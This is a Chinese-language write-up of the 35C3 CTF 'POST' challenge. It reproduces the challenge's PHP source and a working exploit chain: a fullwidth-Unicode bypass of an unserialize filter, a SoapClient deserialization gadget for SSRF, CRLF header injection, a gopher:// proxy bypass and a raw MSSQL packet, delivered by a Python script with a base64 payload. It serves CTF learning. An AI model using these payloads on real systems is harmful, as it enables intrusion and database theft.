35C3CTF POST WP
2019-01-05 16:05:26

文章首发于先知社区:https://xz.aliyun.com/t/3775 [toc] 被35C3虐惨了,POST这道题的利用链很有意思,在这里复盘一下。 官方Dockerfile+wp地址:https://github.com/eboda/35c3/tree/master/post 题目还没有关,地址:http://35.207.83.242/ 题目给了3个提示

1
2
3
4
5
Hint: flag is in db

Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge

Hint3: You probably want to get the source code, luckily for you it's rather hard to configure nginx correctly.

源码读取

根据提示3可以发现上传文件目录存在Nginx配置错误,导致源码泄露 图片.png 把源码down下来进行审计,给了网站源码、miniProxy代理和Nginx配置文件。 关键源码 db.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php

class DB {
private static $con;
private static $init = false;

private static function initialize() {
DB::$con = sqlsrv_connect("db", array("pwd"=> "Foobar1!", "uid"=>"challenger", "Database"=>"challenge"));
if (!DB::$con) DB::error();

DB::$init = true;
}

private static function error() {
die("db error");
}

private static function prepare_params($params) {
return array_map(function($x){
if (is_object($x) or is_array($x)) {
return '$serializedobject$' . serialize($x);
}

if (preg_match('/^\$serializedobject\$/i', $x)) {
die("invalid data");
return "";
}

return $x;
}, $params);
}

private static function retrieve_values($res) {
$result = array();
while ($row = sqlsrv_fetch_array($res)) {
$result[] = array_map(function($x){
return preg_match('/^\$serializedobject\$/i', $x) ?
unserialize(substr($x, 18)) : $x;
}, $row);
}
return $result;
}

public static function query($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();


$res = sqlsrv_query(DB::$con, $sql, $values);
if ($res === false) DB::error();

return DB::retrieve_values($res);
}

public static function insert($sql, $values=array()) {
if (!is_array($values)) $values = array($values);
if (!DB::$init) DB::initialize();

$values = DB::prepare_params($values);

$x = sqlsrv_query(DB::$con, $sql, $values);
if (!$x) throw new Exception;
}
}

default.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php 
include 'inc/post.php';
?>
<?php
if (isset($_POST["title"])) {
$attachments = array();
if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) {

$folder = sha1(random_bytes(10));
mkdir("../uploads/$folder");
for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) {
if ($_FILES["attach"]["error"][$i] !== 0) continue;
$name = basename($_FILES["attach"]["name"][$i]);
move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name");
$attachments[] = new Attachment("/uploads/$folder/$name");
}
}
$post = new Post($_POST["title"], $_POST["content"], $attachments);
$post->save();
}
if (isset($_GET["action"])) {
if ($_GET["action"] == "restart") {
Post::truncate();
header("Location: /");
die;
} else {
?>
<h2>Create new post</h2>
<form method="POST" enctype="multipart/form-data">
<table>
<tr>
<td>
<label for="title">Title</label>
</td> <td>
<input name="title">
</td>
</tr>
<tr>
<td>
<label for="content">Content</label>
</td> <td>
<input name="content">
</td>
</tr>
<tr>
<td>
<label for="attach">Attachments</label>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr>
<td>
</td> <td>
<input name="attach[]" type="file">
</td>
</tr>
<tr><td></td><td>
<input type="submit">
</td></tr>
</table>
</form>
<?php
}
}

$posts = Post::loadall();
if (empty($posts)) {
echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>";
} else {
echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>";
}

foreach($posts as $p) {
echo $p;
echo "<br><br>";
}



?>

post.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
class Attachment {
private $url = NULL;
private $za = NULL;
private $mime = NULL;

public function __construct($url) {
$this->url = $url;
$this->mime = (new finfo)->file("../".$url);
if (substr($this->mime, 0, 11) == "Zip archive") {
$this->mime = "Zip archive";
$this->za = new ZipArchive;
}
}

public function __toString() {
$str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime ";
if (!is_null($this->za)) {
$this->za->open("../".$this->url);
$str .= "with ".$this->za->numFiles . " Files.";
}
return $str. ")";
}

}

class Post {
private $title = NULL;
private $content = NULL;
private $attachment = NULL;
private $ref = NULL;
private $id = NULL;


public function __construct($title, $content, $attachments="") {
$this->title = $title;
$this->content = $content;
$this->attachment = $attachments;
}

public function save() {
global $USER;
if (is_null($this->id)) {
DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)",
array($USER->uid, $this->title, $this->content, $this->attachment));
} else {
DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?",
array($this->title, $this->content, $this->attachment, $USER->uid, $this->id));
}
}

public static function truncate() {
global $USER;
DB::query("DELETE FROM posts WHERE userid = ?", array($USER->uid));
}

public static function load($id) {
global $USER;
$res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?",
array($USER->uid, $id));
if (!$res) die("db error");
$res = $res[0];
$post = new Post($res["title"], $res["content"], $res["attachment"]);
$post->id = $id;
return $post;
}

public static function loadall() {
global $USER;
$result = array();
$posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ;
if (!$posts) return $result;
foreach ($posts as $p) {
$result[] = Post::load($p["id"]);
}
return $result;
}

public function __toString() {
$str = "<h2>{$this->title}</h2>";
$str .= $this->content;
$str .= "<hr>Attachments:<br><il>";
foreach ($this->attachment as $attach) {
$str .= "<li>$attach</li>";
}
$str .= "</il>";
return $str;
}
}

任意反序列化

可以发现DB类的query方法把接收sql语句后把执行结果丢给了retrieve_values方法,而该方法存在一处反序列化操作,且要求反序列化字符串开头为$serializedobject$ 图片.png 而数据库插入方法中调用了prepare_params方法对插入值进行过滤 图片.pngprepare_params方法waf掉了对开头为$serializedobject$的字符串,导致我们无法执行反序列化操作。 可是MSSQL的一个trick进行绕过。 MSSQL会自动将全角unicode字符转换为ASCII表示形式。例如,如果字符串包含0xEF 0xBC 0x84,则将其存储为$。因此我们可以进行任意反序列化。

利用SoapClient SSRF

根据hint1,flag在数据库里,源码中含有数据库信息,因此我们可以利用SoapClient通过SSRF打MSSQL,前提是要能够触发它的__call方法。 类Attachment__tostring方法中有一个$this->za->open操作,我们将SoapClient序列化为$za,然后触发其__tostring方法即可SSRF。 图片.pngdefault.php中实例化了Post类,把$_POST["title"], $_POST["content"], $attachments传了进去,并调用了save方法 图片.png 然后又调用loadall()方法执行数据库查询操作,此时会将返回值开头为$serializedobject$的字符串进行反序列化操作 图片.png 并将返回的值打印触发Post类的__toString方法,而返回值含有反序列化对象,因此又可以触发反序列化对象的__toString方法,从而可以SSRF。 构造exp

1
2
3
4
5
6
7
8
9
10
<?php
class Attachment {
private $za = NULL;
public function __construct() {
$this->za = new SoapClient(null,array('location'=>'your_ip','uri'=>'your_ip'));
}
}
$c=new Attachment();
$aaa=serialize($c);
echo $aaa;

成功SSRF 图片.png

miniProxy绕过

由Nginx配置文件可知,miniProxy代理监听在本地的8080端口,且只接收Get请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
server {
listen 127.0.0.1:8080;
access_log /var/log/nginx/proxy.log;

if ( $request_method !~ ^(GET)$ ) {
return 405;
}
root /var/www/miniProxy;
location / {
index index.php;

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
}
}

SoapClient发送的是POST请求 图片.png 但是SoapClientl_user_agent属性存在CRLF注入,我们可以通过\r\n再注入一个GET请求。 另外miniProxy只能代理http / https请求 图片.png 可以通过gopher:///绕过,因为miniProxy仅在设置host时验证http / https。或者可以重定向到一个gopher请求来绕过。

gopher攻击MSSQL

最后就是构造gopher请求打MSSQL了。因为对MSSQL不熟悉,这里我直接用官方的exploit.php。不过要注意gopher会在请求后加上一个\r\n,因此构造gopher请求时要在sql语句后加一个注释符-- - 通过插入DEBUG头我们可以获取到我们的UID 图片.png 生成payload 图片.png 写脚本上传文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import base64

host="http://35.207.83.242/?"
post={
"username":"aaaaaaaaaa",
"password":"aaaaaaaaaa",
}

r=requests.Session()
url1=host+"page=login"
r.post(url=url1,data=post)
def fetch_uid():
return r.get(host, headers={"Debug": "1"}).content.decode().split("int(")[1].split(")")[0]
payload=base64.b64decode("JHNlcmlhbGl6ZWRvYmplY3TvvIRPOjEwOiJBdHRhY2htZW50IjoxOntzOjI6InphIjtPOjEwOiJTb2FwQ2xpZW50IjozOntzOjM6InVyaSI7czozNToiaHR0cDovL2xvY2FsaG9zdDo4MDgwL21pbmlQcm94eS5waHAiO3M6ODoibG9jYXRpb24iO3M6MzU6Imh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9taW5pUHJveHkucGhwIjtzOjExOiJfdXNlcl9hZ2VudCI7czoxMzk5OiJBQUFBQUhhaGEKCkdFVCAvbWluaVByb3h5LnBocD9nb3BoZXI6Ly8vZGI6MTQzMy9BJTEyJTAxJTAwJTJGJTAwJTAwJTAxJTAwJTAwJTAwJTFBJTAwJTA2JTAxJTAwJTIwJTAwJTAxJTAyJTAwJTIxJTAwJTAxJTAzJTAwJTIyJTAwJTA0JTA0JTAwJTI2JTAwJTAxJUZGJTAwJTAwJTAwJTAxJTAwJTAxJTAyJTAwJTAwJTAwJTAwJTAwJTAwJTEwJTAxJTAwJURFJTAwJTAwJTAxJTAwJUQ2JTAwJTAwJTAwJTA0JTAwJTAwdCUwMCUxMCUwMCUwMCUwMCUwMCUwMCUwMFQwJTAwJTAwJTAwJTAwJTAwJTAwJUUwJTAwJTAwJTA4JUM0JUZGJUZGJUZGJTA5JTA0JTAwJTAwJTVFJTAwJTA3JTAwbCUwMCUwQSUwMCU4MCUwMCUwOCUwMCU5MCUwMCUwQSUwMCVBNCUwMCUwOSUwMCVCNiUwMCUwMCUwMCVCNiUwMCUwNyUwMCVDNCUwMCUwMCUwMCVDNCUwMCUwOSUwMCUwMSUwMiUwMyUwNCUwNSUwNiVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCVENiUwMCUwMCUwMCUwMCUwMCUwMCUwMGElMDB3JTAwZSUwMHMlMDBvJTAwbSUwMGUlMDBjJTAwaCUwMGElMDBsJTAwbCUwMGUlMDBuJTAwZyUwMGUlMDByJTAwJUMxJUE1UyVBNVMlQTUlODMlQTUlQjMlQTUlODIlQTUlQjYlQTUlQjclQTVuJTAwbyUwMGQlMDBlJTAwLSUwMG0lMDBzJTAwcyUwMHElMDBsJTAwbCUwMG8lMDBjJTAwYSUwMGwlMDBoJTAwbyUwMHMlMDB0JTAwVCUwMGUlMDBkJTAwaSUwMG8lMDB1JTAwcyUwMGMlMDBoJTAwYSUwMGwlMDBsJTAwZSUwMG4lMDBnJTAwZSUwMCUwMSUwMSUwMSUwRSUwMCUwMCUwMSUwMCUxNiUwMCUwMCUwMCUxMiUwMCUwMCUwMCUwMiUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwMCUwMCUwMGklMDBuJTAwcyUwMGUlMDByJTAwdCUwMCUyMCUwMGklMDBuJTAwdCUwMG8lMDAlMjAlMDBwJTAwbyUwMHMlMDB0JTAwcyUwMCUyMCUwMCUyOCUwMHUlMDBzJTAwZSUwMHIlMDBpJTAwZCUwMCUyQyUwMCUyMCUwMHQlMDBpJTAwdCUwMGwlMDBlJTAwJTJDJTAwJTIwJTAwYyUwMG8lMDBuJTAwdCUwMGUlMDBuJTAwdCUwMCUyQyUwMCUyMCUwMGElMDB0JTAwdCUwMGElMDBjJTAwaCUwMG0lMDBlJTAwbiUwMHQlMDAlMjklMDAlMjAlMDB2JTAwYSUwMGwlMDB1JTAwZSUwMHMlMDAlMjAlMDAlMjglMDAyJTAwMCUwMDAlMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTJDJTAwJTIwJTAwJTI4JTAwcyUwMGUlMDBsJTAwZSUwMGMlMDB0JTAwJTIwJTAwZiUwMGwlMDBhJTAwZyUwMCUyMCUwMGYlMDByJTAwbyUwMG0lMDAlMjAlMDBmJTAwbCUwMGElMDBnJTAwLiUwMGYlMDBsJTAwYSUwMGclMDAlMjklMDAlMkMlMDAlMjAlMDAlMjIlMDB0JTAwZSUwMHMlMDB0JTAwJTIyJTAwJTI5JTAwJTNCJTAwJTNCJTAwLSUwMC0lMDAlMjAlMDAtJTAwIEhUVFAvMS4xCkhvc3Q6IGxvY2FsaG9zdAoKIjt9fQ==")
print(payload)
data={
"title":"testssssssssssssss",
"content":payload,
}
url2=host+"action=create"
r.post(url=url2,data=data)

刷新得到flag 图片.png